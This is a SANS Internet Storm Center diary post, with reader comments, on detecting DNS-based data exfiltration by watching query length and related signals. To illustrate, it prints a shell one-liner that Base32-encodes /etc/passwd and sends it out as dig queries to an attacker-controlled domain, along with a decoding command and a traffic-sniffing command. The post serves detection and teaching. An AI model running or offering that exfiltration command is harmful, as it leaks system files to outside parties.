Threat Level: green Handler on Duty: Guy Bruneau

SANS ISC: DNS Query Length... Because Size Does Matter - SANS Internet Storm Center SANS ISC InfoSec Forums

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
DNS Query Length... Because Size Does Matter

In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass security controls. DNS tunnelling is a common way to establish connections with remote systems. It is often based on "TXT" records used to deliver the encoded payload. "TXT" records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.

Instead of using TXT records, data exfiltration may occur directly via the FQDN ("Fully Qualified Domain Name"). The RFC 1035[1] states that a DNS query length is 255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data in strings compatible with the DNS requirements: "A-Z", "0-9" and "-". It is easy to exfiltrate a file with the following shell command. We encode our juicy file (/etc/passwd in this example) and generate DNS request to a domain controlled by the attacker:

$ cat /etc/passwd | base32 -w 63 | while read L
  dig $ @

Note: the parameter '-w 63' prevent the encoding process from breaking the RFC. On the DNS side, here is what we get:

$ grep '' queries.log
20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: IN A +E (
20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: IN A +E (
20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: IN A +E (
20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: IN A +E (
20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: IN A +E (

To decode this on the attacker's host, use the following command:

$ grep '' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more

We don't need full access to the DNS server. If we have access to the network, we just have to sniff some traffic:

# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
    172.x.x.x.40335 > [udp sum ok] 9843+ [1au] A? ar: . OPT UDPsize=4096 (110)
    172.x.x.x.35770 > [udp sum ok] 19877+ [1au] A? ar: . OPT UDPsize=4096 (110)
    172.x.x.x.41463 > [udp sum ok] 29267+ [1au] A? ar: . OPT UDPsize=4096 (110)
    172.x.x.x.38048 > [udp sum ok] 30042+ [1au] A? ar: . OPT UDPsize=4096 (110)

As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularly the query length. The following graph is generated from the DNS logs processed by a Splunk instance. It is helpful to see the distribution of query length across the network:

But, as usual, not all big DNS queries are suspicious. Some CDN's are using queries to identify files. Example:


To reduce the risk of false positives, this control can be combined with others:

  • The volume of traffic per IP
  • The volume of traffic per (sub-)domain
  • White-lists

This technique is not new but comes back regularly in front of the stage. The malware 'Wekby'[3] discovered in 2016 was already using this technique for C2 communications.


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


296 Posts
ISC Handler
Can this approach be used on Windows DNS server logs?

5 Posts Posts
Regarding Splunk, what field are you keying in on for the query length? The byte size?

It is based on the query length (extracted from Bro logs)

296 Posts Posts
ISC Handler
Hi Xavier,

thanks for the nice trick for DNS Tunneling (for loop with pipes etc :-) - really neat!

Indeed DNS can be leveraged for detecting malicious activities on a network very neatly.

Besides the lengths of FQDNs, there some other patterns which I are find quite useful:

1. FQDN lengths and entropy of the DNS labels (labels are everything between the dots in the FQDN)

2. Usage rate of TXT records (or further unusual record types, such as CNAME, NS) across your endpoints: this is necessary to maximize the bandwidth of DNS tunnel, thus almost mandatory for attackers to use it.

3. NXDOMAIN error-rate across your endpoints: this is a telltale sign for infection by DGA-Malware .

A simple cheat-sheet for those patterns and how to use along with tshark:

Additional references here (slides from SANS DFIR Prague 2016):


1 Posts Posts
Thank you for your contribution!


296 Posts Posts
ISC Handler

Sign Up for Free or Log In to start participating in the conversation!